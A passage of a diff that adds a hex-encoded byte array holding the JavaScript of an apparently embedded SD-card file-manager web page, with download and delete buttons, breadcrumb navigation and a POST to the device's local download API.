0x6D, + 0x2E, 0x74, 0x79, 0x70, 0x65, 0x20, 0x3D, 0x3D, 0x3D, 0x20, 0x22, 0x66, + 0x69, 0x6C, 0x65, 0x22, 0x29, 0x20, 0x7B, 0x0D, 0x0A, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x63, 0x6F, 0x6E, 0x73, 0x74, 0x20, 0x61, + 0x63, 0x74, 0x69, 0x6F, 0x6E, 0x43, 0x6F, 0x6E, 0x74, 0x61, 0x69, 0x6E, + 0x65, 0x72, 0x20, 0x3D, 0x20, 0x64, 0x6F, 0x63, 0x75, 0x6D, 0x65, 0x6E, + 0x74, 0x2E, 0x63, 0x72, 0x65, 0x61, 0x74, 0x65, 0x45, 0x6C, 0x65, 0x6D, + 0x65, 0x6E, 0x74, 0x28, 0x22, 0x64, 0x69, 0x76, 0x22, 0x29, 0x3B, 0x0D, + 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x61, 0x63, 0x74, + 0x69, 0x6F, 0x6E, 0x43, 0x6F, 0x6E, 0x74, 0x61, 0x69, 0x6E, 0x65, 0x72, + 0x2E, 0x63, 0x6C, 0x61, 0x73, 0x73, 0x4C, 0x69, 0x73, 0x74, 0x2E, 0x61, + 0x64, 0x64, 0x28, 0x22, 0x66, 0x69, 0x6C, 0x65, 0x2D, 0x61, 0x63, 0x74, + 0x69, 0x6F, 0x6E, 0x73, 0x22, 0x29, 0x3B, 0x0D, 0x0A, 0x0D, 0x0A, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x63, 0x6F, 0x6E, 0x73, 0x74, + 0x20, 0x64, 0x6F, 0x77, 0x6E, 0x6C, 0x6F, 0x61, 0x64, 0x42, 0x74, 0x6E, + 0x20, 0x3D, 0x20, 0x64, 0x6F, 0x63, 0x75, 0x6D, 0x65, 0x6E, 0x74, 0x2E, + 0x63, 0x72, 0x65, 0x61, 0x74, 0x65, 0x45, 0x6C, 0x65, 0x6D, 0x65, 0x6E, + 0x74, 0x28, 0x22, 0x62, 0x75, 0x74, 0x74, 0x6F, 0x6E, 0x22, 0x29, 0x3B, + 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x64, 0x6F, + 0x77, 0x6E, 0x6C, 0x6F, 0x61, 0x64, 0x42, 0x74, 0x6E, 0x2E, 0x74, 0x65, + 0x78, 0x74, 0x43, 0x6F, 0x6E, 0x74, 0x65, 0x6E, 0x74, 0x20, 0x3D, 0x20, + 0x22, 0x44, 0x6F, 0x77, 0x6E, 0x6C, 0x6F, 0x61, 0x64, 0x22, 0x3B, 0x0D, + 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x64, 0x6F, 0x77, + 0x6E, 0x6C, 0x6F, 0x61, 0x64, 0x42, 0x74, 0x6E, 0x2E, 0x63, 0x6C, 0x61, + 0x73, 0x73, 0x4C, 0x69, 0x73, 0x74, 0x2E, 0x61, 0x64, 0x64, 0x28, 0x22, + 0x73, 0x6D, 0x61, 0x6C, 0x6C, 0x22, 0x29, 0x3B, 0x0D, 0x0A, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x64, 0x6F, 0x77, 0x6E, 0x6C, 0x6F, + 0x61, 0x64, 0x42, 0x74, 0x6E, 0x2E, 0x63, 0x6C, 0x61, 0x73, 0x73, 0x4C, + 0x69, 0x73, 0x74, 0x2E, 0x61, 0x64, 0x64, 0x28, 0x22, 0x64, 0x6F, 0x77, + 0x6E, 0x6C, 0x6F, 0x61, 0x64, 0x2D, 0x62, 0x75, 0x74, 0x74, 0x6F, 0x6E, + 0x22, 0x29, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x64, 0x6F, 0x77, 0x6E, 0x6C, 0x6F, 0x61, 0x64, 0x42, 0x74, 0x6E, + 0x2E, 0x6F, 0x6E, 0x63, 0x6C, 0x69, 0x63, 0x6B, 0x20, 0x3D, 0x20, 0x28, + 0x29, 0x20, 0x3D, 0x3E, 0x20, 0x64, 0x6F, 0x77, 0x6E, 0x6C, 0x6F, 0x61, + 0x64, 0x46, 0x69, 0x6C, 0x65, 0x28, 0x69, 0x74, 0x65, 0x6D, 0x2E, 0x70, + 0x61, 0x74, 0x68, 0x29, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x61, 0x63, 0x74, 0x69, 0x6F, 0x6E, 0x43, 0x6F, 0x6E, + 0x74, 0x61, 0x69, 0x6E, 0x65, 0x72, 0x2E, 0x61, 0x70, 0x70, 0x65, 0x6E, + 0x64, 0x43, 0x68, 0x69, 0x6C, 0x64, 0x28, 0x64, 0x6F, 0x77, 0x6E, 0x6C, + 0x6F, 0x61, 0x64, 0x42, 0x74, 0x6E, 0x29, 0x3B, 0x0D, 0x0A, 0x0D, 0x0A, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x63, 0x6F, 0x6E, 0x73, + 0x74, 0x20, 0x64, 0x65, 0x6C, 0x65, 0x74, 0x65, 0x42, 0x74, 0x6E, 0x20, + 0x3D, 0x20, 0x64, 0x6F, 0x63, 0x75, 0x6D, 0x65, 0x6E, 0x74, 0x2E, 0x63, + 0x72, 0x65, 0x61, 0x74, 0x65, 0x45, 0x6C, 0x65, 0x6D, 0x65, 0x6E, 0x74, + 0x28, 0x22, 0x62, 0x75, 0x74, 0x74, 0x6F, 0x6E, 0x22, 0x29, 0x3B, 0x0D, + 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x64, 0x65, 0x6C, + 0x65, 0x74, 0x65, 0x42, 0x74, 0x6E, 0x2E, 0x74, 0x65, 0x78, 0x74, 0x43, + 0x6F, 0x6E, 0x74, 0x65, 0x6E, 0x74, 0x20, 0x3D, 0x20, 0x22, 0x44, 0x65, + 0x6C, 0x65, 0x74, 0x65, 0x22, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x64, 0x65, 0x6C, 0x65, 0x74, 0x65, 0x42, 0x74, + 0x6E, 0x2E, 0x63, 0x6C, 0x61, 0x73, 0x73, 0x4C, 0x69, 0x73, 0x74, 0x2E, + 0x61, 0x64, 0x64, 0x28, 0x22, 0x73, 0x6D, 0x61, 0x6C, 0x6C, 0x22, 0x29, + 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x64, + 0x65, 0x6C, 0x65, 0x74, 0x65, 0x42, 0x74, 0x6E, 0x2E, 0x63, 0x6C, 0x61, + 0x73, 0x73, 0x4C, 0x69, 0x73, 0x74, 0x2E, 0x61, 0x64, 0x64, 0x28, 0x22, + 0x64, 0x65, 0x6C, 0x65, 0x74, 0x65, 0x2D, 0x62, 0x75, 0x74, 0x74, 0x6F, + 0x6E, 0x22, 0x29, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x64, 0x65, 0x6C, 0x65, 0x74, 0x65, 0x42, 0x74, 0x6E, 0x2E, + 0x6F, 0x6E, 0x63, 0x6C, 0x69, 0x63, 0x6B, 0x20, 0x3D, 0x20, 0x28, 0x29, + 0x20, 0x3D, 0x3E, 0x20, 0x64, 0x65, 0x6C, 0x65, 0x74, 0x65, 0x46, 0x69, + 0x6C, 0x65, 0x28, 0x69, 0x74, 0x65, 0x6D, 0x2E, 0x6E, 0x61, 0x6D, 0x65, + 0x2C, 0x20, 0x69, 0x74, 0x65, 0x6D, 0x2E, 0x70, 0x61, 0x74, 0x68, 0x29, + 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x61, + 0x63, 0x74, 0x69, 0x6F, 0x6E, 0x43, 0x6F, 0x6E, 0x74, 0x61, 0x69, 0x6E, + 0x65, 0x72, 0x2E, 0x61, 0x70, 0x70, 0x65, 0x6E, 0x64, 0x43, 0x68, 0x69, + 0x6C, 0x64, 0x28, 0x64, 0x65, 0x6C, 0x65, 0x74, 0x65, 0x42, 0x74, 0x6E, + 0x29, 0x3B, 0x0D, 0x0A, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x6C, 0x69, 0x2E, 0x61, 0x70, 0x70, 0x65, 0x6E, 0x64, 0x43, + 0x68, 0x69, 0x6C, 0x64, 0x28, 0x61, 0x63, 0x74, 0x69, 0x6F, 0x6E, 0x43, + 0x6F, 0x6E, 0x74, 0x61, 0x69, 0x6E, 0x65, 0x72, 0x29, 0x3B, 0x0D, 0x0A, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x7D, 0x0D, 0x0A, 0x0D, 0x0A, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x75, 0x6C, 0x2E, 0x61, 0x70, 0x70, 0x65, 0x6E, 0x64, 0x43, 0x68, + 0x69, 0x6C, 0x64, 0x28, 0x6C, 0x69, 0x29, 0x3B, 0x0D, 0x0A, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x7D, 0x29, + 0x3B, 0x0D, 0x0A, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x73, 0x74, 0x72, 0x75, 0x63, 0x74, 0x75, + 0x72, 0x65, 0x45, 0x6C, 0x65, 0x6D, 0x65, 0x6E, 0x74, 0x2E, 0x61, 0x70, + 0x70, 0x65, 0x6E, 0x64, 0x43, 0x68, 0x69, 0x6C, 0x64, 0x28, 0x75, 0x6C, + 0x29, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x75, 0x70, 0x64, 0x61, 0x74, 0x65, 0x42, 0x72, + 0x65, 0x61, 0x64, 0x63, 0x72, 0x75, 0x6D, 0x62, 0x28, 0x29, 0x3B, 0x0D, + 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x7D, 0x0D, 0x0A, + 0x0D, 0x0A, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x66, 0x75, 0x6E, 0x63, 0x74, 0x69, 0x6F, 0x6E, 0x20, 0x75, 0x70, 0x64, + 0x61, 0x74, 0x65, 0x42, 0x72, 0x65, 0x61, 0x64, 0x63, 0x72, 0x75, 0x6D, + 0x62, 0x28, 0x29, 0x20, 0x7B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x63, 0x6F, 0x6E, 0x73, 0x74, + 0x20, 0x62, 0x72, 0x65, 0x61, 0x64, 0x63, 0x72, 0x75, 0x6D, 0x62, 0x20, + 0x3D, 0x20, 0x64, 0x6F, 0x63, 0x75, 0x6D, 0x65, 0x6E, 0x74, 0x2E, 0x67, + 0x65, 0x74, 0x45, 0x6C, 0x65, 0x6D, 0x65, 0x6E, 0x74, 0x42, 0x79, 0x49, + 0x64, 0x28, 0x22, 0x62, 0x72, 0x65, 0x61, 0x64, 0x63, 0x72, 0x75, 0x6D, + 0x62, 0x22, 0x29, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x62, 0x72, 0x65, 0x61, 0x64, 0x63, + 0x72, 0x75, 0x6D, 0x62, 0x2E, 0x69, 0x6E, 0x6E, 0x65, 0x72, 0x48, 0x54, + 0x4D, 0x4C, 0x20, 0x3D, 0x20, 0x22, 0x22, 0x3B, 0x20, 0x2F, 0x2F, 0x20, + 0x43, 0x6C, 0x65, 0x61, 0x72, 0x20, 0x65, 0x78, 0x69, 0x73, 0x74, 0x69, + 0x6E, 0x67, 0x20, 0x62, 0x72, 0x65, 0x61, 0x64, 0x63, 0x72, 0x75, 0x6D, + 0x62, 0x73, 0x0D, 0x0A, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x6E, 0x61, 0x76, 0x69, 0x67, 0x61, + 0x74, 0x69, 0x6F, 0x6E, 0x53, 0x74, 0x61, 0x63, 0x6B, 0x2E, 0x66, 0x6F, + 0x72, 0x45, 0x61, 0x63, 0x68, 0x28, 0x28, 0x66, 0x6F, 0x6C, 0x64, 0x65, + 0x72, 0x2C, 0x20, 0x69, 0x6E, 0x64, 0x65, 0x78, 0x29, 0x20, 0x3D, 0x3E, + 0x20, 0x7B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x63, 0x6F, 0x6E, 0x73, + 0x74, 0x20, 0x63, 0x72, 0x75, 0x6D, 0x62, 0x20, 0x3D, 0x20, 0x64, 0x6F, + 0x63, 0x75, 0x6D, 0x65, 0x6E, 0x74, 0x2E, 0x63, 0x72, 0x65, 0x61, 0x74, + 0x65, 0x45, 0x6C, 0x65, 0x6D, 0x65, 0x6E, 0x74, 0x28, 0x22, 0x73, 0x70, + 0x61, 0x6E, 0x22, 0x29, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x63, + 0x72, 0x75, 0x6D, 0x62, 0x2E, 0x63, 0x6C, 0x61, 0x73, 0x73, 0x4C, 0x69, + 0x73, 0x74, 0x2E, 0x61, 0x64, 0x64, 0x28, 0x22, 0x62, 0x72, 0x65, 0x61, + 0x64, 0x63, 0x72, 0x75, 0x6D, 0x62, 0x2D, 0x69, 0x74, 0x65, 0x6D, 0x22, + 0x29, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x63, 0x72, 0x75, 0x6D, + 0x62, 0x2E, 0x74, 0x65, 0x78, 0x74, 0x43, 0x6F, 0x6E, 0x74, 0x65, 0x6E, + 0x74, 0x20, 0x3D, 0x20, 0x66, 0x6F, 0x6C, 0x64, 0x65, 0x72, 0x2E, 0x6E, + 0x61, 0x6D, 0x65, 0x3B, 0x0D, 0x0A, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x69, 0x66, 0x20, 0x28, 0x69, 0x6E, 0x64, 0x65, 0x78, 0x20, 0x3C, 0x20, + 0x6E, 0x61, 0x76, 0x69, 0x67, 0x61, 0x74, 0x69, 0x6F, 0x6E, 0x53, 0x74, + 0x61, 0x63, 0x6B, 0x2E, 0x6C, 0x65, 0x6E, 0x67, 0x74, 0x68, 0x20, 0x2D, + 0x20, 0x31, 0x29, 0x20, 0x7B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x63, 0x72, 0x75, 0x6D, 0x62, 0x2E, 0x6F, 0x6E, 0x63, + 0x6C, 0x69, 0x63, 0x6B, 0x20, 0x3D, 0x20, 0x28, 0x29, 0x20, 0x3D, 0x3E, + 0x20, 0x6E, 0x61, 0x76, 0x69, 0x67, 0x61, 0x74, 0x65, 0x54, 0x6F, 0x42, + 0x72, 0x65, 0x61, 0x64, 0x63, 0x72, 0x75, 0x6D, 0x62, 0x28, 0x69, 0x6E, + 0x64, 0x65, 0x78, 0x29, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x7D, + 0x20, 0x65, 0x6C, 0x73, 0x65, 0x20, 0x7B, 0x0D, 0x0A, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x2F, 0x2F, 0x20, 0x43, 0x75, 0x72, 0x72, + 0x65, 0x6E, 0x74, 0x20, 0x66, 0x6F, 0x6C, 0x64, 0x65, 0x72, 0x20, 0x2D, + 0x20, 0x6E, 0x6F, 0x74, 0x20, 0x63, 0x6C, 0x69, 0x63, 0x6B, 0x61, 0x62, + 0x6C, 0x65, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x63, 0x72, 0x75, 0x6D, 0x62, 0x2E, 0x73, 0x74, 0x79, 0x6C, 0x65, 0x2E, + 0x63, 0x75, 0x72, 0x73, 0x6F, 0x72, 0x20, 0x3D, 0x20, 0x27, 0x64, 0x65, + 0x66, 0x61, 0x75, 0x6C, 0x74, 0x27, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x63, 0x72, 0x75, 0x6D, 0x62, 0x2E, 0x73, + 0x74, 0x79, 0x6C, 0x65, 0x2E, 0x63, 0x6F, 0x6C, 0x6F, 0x72, 0x20, 0x3D, + 0x20, 0x27, 0x23, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x27, 0x3B, 0x0D, + 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x7D, 0x0D, 0x0A, 0x0D, 0x0A, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x62, 0x72, 0x65, 0x61, 0x64, 0x63, 0x72, 0x75, 0x6D, 0x62, + 0x2E, 0x61, 0x70, 0x70, 0x65, 0x6E, 0x64, 0x43, 0x68, 0x69, 0x6C, 0x64, + 0x28, 0x63, 0x72, 0x75, 0x6D, 0x62, 0x29, 0x3B, 0x0D, 0x0A, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x7D, 0x29, + 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x7D, + 0x0D, 0x0A, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x66, 0x75, 0x6E, 0x63, 0x74, 0x69, 0x6F, 0x6E, 0x20, 0x6E, 0x61, 0x76, + 0x69, 0x67, 0x61, 0x74, 0x65, 0x49, 0x6E, 0x74, 0x6F, 0x46, 0x6F, 0x6C, + 0x64, 0x65, 0x72, 0x28, 0x66, 0x6F, 0x6C, 0x64, 0x65, 0x72, 0x29, 0x20, + 0x7B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x6E, 0x61, 0x76, 0x69, 0x67, 0x61, 0x74, 0x69, 0x6F, + 0x6E, 0x53, 0x74, 0x61, 0x63, 0x6B, 0x2E, 0x70, 0x75, 0x73, 0x68, 0x28, + 0x66, 0x6F, 0x6C, 0x64, 0x65, 0x72, 0x29, 0x3B, 0x0D, 0x0A, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x72, 0x65, + 0x6E, 0x64, 0x65, 0x72, 0x43, 0x75, 0x72, 0x72, 0x65, 0x6E, 0x74, 0x46, + 0x6F, 0x6C, 0x64, 0x65, 0x72, 0x28, 0x29, 0x3B, 0x0D, 0x0A, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x7D, 0x0D, 0x0A, 0x0D, 0x0A, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x66, 0x75, 0x6E, 0x63, 0x74, + 0x69, 0x6F, 0x6E, 0x20, 0x6E, 0x61, 0x76, 0x69, 0x67, 0x61, 0x74, 0x65, + 0x54, 0x6F, 0x42, 0x72, 0x65, 0x61, 0x64, 0x63, 0x72, 0x75, 0x6D, 0x62, + 0x28, 0x69, 0x6E, 0x64, 0x65, 0x78, 0x29, 0x20, 0x7B, 0x0D, 0x0A, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x2F, + 0x2F, 0x20, 0x52, 0x65, 0x6D, 0x6F, 0x76, 0x65, 0x20, 0x66, 0x6F, 0x6C, + 0x64, 0x65, 0x72, 0x73, 0x20, 0x66, 0x72, 0x6F, 0x6D, 0x20, 0x74, 0x68, + 0x65, 0x20, 0x73, 0x74, 0x61, 0x63, 0x6B, 0x20, 0x61, 0x66, 0x74, 0x65, + 0x72, 0x20, 0x74, 0x68, 0x65, 0x20, 0x73, 0x65, 0x6C, 0x65, 0x63, 0x74, + 0x65, 0x64, 0x20, 0x62, 0x72, 0x65, 0x61, 0x64, 0x63, 0x72, 0x75, 0x6D, + 0x62, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x6E, 0x61, 0x76, 0x69, 0x67, 0x61, 0x74, 0x69, 0x6F, + 0x6E, 0x53, 0x74, 0x61, 0x63, 0x6B, 0x20, 0x3D, 0x20, 0x6E, 0x61, 0x76, + 0x69, 0x67, 0x61, 0x74, 0x69, 0x6F, 0x6E, 0x53, 0x74, 0x61, 0x63, 0x6B, + 0x2E, 0x73, 0x6C, 0x69, 0x63, 0x65, 0x28, 0x30, 0x2C, 0x20, 0x69, 0x6E, + 0x64, 0x65, 0x78, 0x20, 0x2B, 0x20, 0x31, 0x29, 0x3B, 0x0D, 0x0A, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x72, + 0x65, 0x6E, 0x64, 0x65, 0x72, 0x43, 0x75, 0x72, 0x72, 0x65, 0x6E, 0x74, + 0x46, 0x6F, 0x6C, 0x64, 0x65, 0x72, 0x28, 0x29, 0x3B, 0x0D, 0x0A, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x7D, 0x0D, 0x0A, 0x0D, 0x0A, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x66, 0x75, 0x6E, 0x63, + 0x74, 0x69, 0x6F, 0x6E, 0x20, 0x62, 0x61, 0x73, 0x65, 0x6E, 0x61, 0x6D, + 0x65, 0x28, 0x70, 0x61, 0x74, 0x68, 0x29, 0x20, 0x7B, 0x0D, 0x0A, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x72, + 0x65, 0x74, 0x75, 0x72, 0x6E, 0x20, 0x70, 0x61, 0x74, 0x68, 0x2E, 0x73, + 0x70, 0x6C, 0x69, 0x74, 0x28, 0x27, 0x2F, 0x27, 0x29, 0x2E, 0x72, 0x65, + 0x76, 0x65, 0x72, 0x73, 0x65, 0x28, 0x29, 0x5B, 0x30, 0x5D, 0x3B, 0x0D, + 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x7D, 0x0D, 0x0A, + 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x61, 0x73, + 0x79, 0x6E, 0x63, 0x20, 0x66, 0x75, 0x6E, 0x63, 0x74, 0x69, 0x6F, 0x6E, + 0x20, 0x64, 0x6F, 0x77, 0x6E, 0x6C, 0x6F, 0x61, 0x64, 0x46, 0x69, 0x6C, + 0x65, 0x28, 0x66, 0x69, 0x6C, 0x65, 0x50, 0x61, 0x74, 0x68, 0x29, 0x20, + 0x7B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x63, 0x6F, 0x6E, 0x73, 0x74, 0x20, 0x72, 0x65, 0x73, + 0x70, 0x6F, 0x6E, 0x73, 0x65, 0x20, 0x3D, 0x20, 0x61, 0x77, 0x61, 0x69, + 0x74, 0x20, 0x66, 0x65, 0x74, 0x63, 0x68, 0x28, 0x22, 0x2F, 0x61, 0x70, + 0x69, 0x2F, 0x73, 0x64, 0x63, 0x61, 0x72, 0x64, 0x2F, 0x64, 0x6F, 0x77, + 0x6E, 0x6C, 0x6F, 0x61, 0x64, 0x22, 0x2C, 0x20, 0x7B, 0x0D, 0x0A, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x6D, 0x65, 0x74, 0x68, 0x6F, 0x64, 0x3A, 0x20, 0x22, + 0x50, 0x4F, 0x53, 0x54, 0x22, 0x2C, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x68, 0x65, 0x61, 0x64, 0x65, 0x72, 0x73, 0x3A, 0x20, 0x7B, 0x20, 0x22, + 0x43, 0x6F, 0x6E, 0x74, 0x65, 0x6E, 0x74, 0x2D, 0x54, 0x79, 0x70, 0x65, + 0x22, 0x3A, 0x20, 0x22, 0x61, 0x70, 0x70, 0x6C, 0x69, 0x63, 0x61, 0x74, + 0x69, 0x6F, 0x6E, 0x2F, 0x6A, 0x73, 0x6F, 0x6E, 0x22, 0x20, 0x7D, 0x2C, + 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x62, 0x6F, 0x64, 0x79, 0x3A, 0x20, + 0x4A, 0x53, 0x4F, 0x4E, 0x2E, 0x73, 0x74, 0x72, 0x69, 0x6E, 0x67, 0x69, + 0x66, 0x79, 0x28, 0x7B, 0x20, 0x70, 0x61, 0x74, 0x68, 0x3A, 0x20, 0x66, + 0x69, 0x6C, 0x65, 0x50, 0x61, 0x74, 0x68, 0x20, 0x7D, 0x29, 0x0D, 0x0A, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x7D, 0x29, 0x3B, 0x0D, 0x0A, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x69, 0x66, 0x20, 0x28, 0x72, + 0x65, 0x73, 0x70, 0x6F, 0x6E, 0x73, 0x65, 0x2E, 0x6F, 0x6B, 0x29, 0x20, + 0x7B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 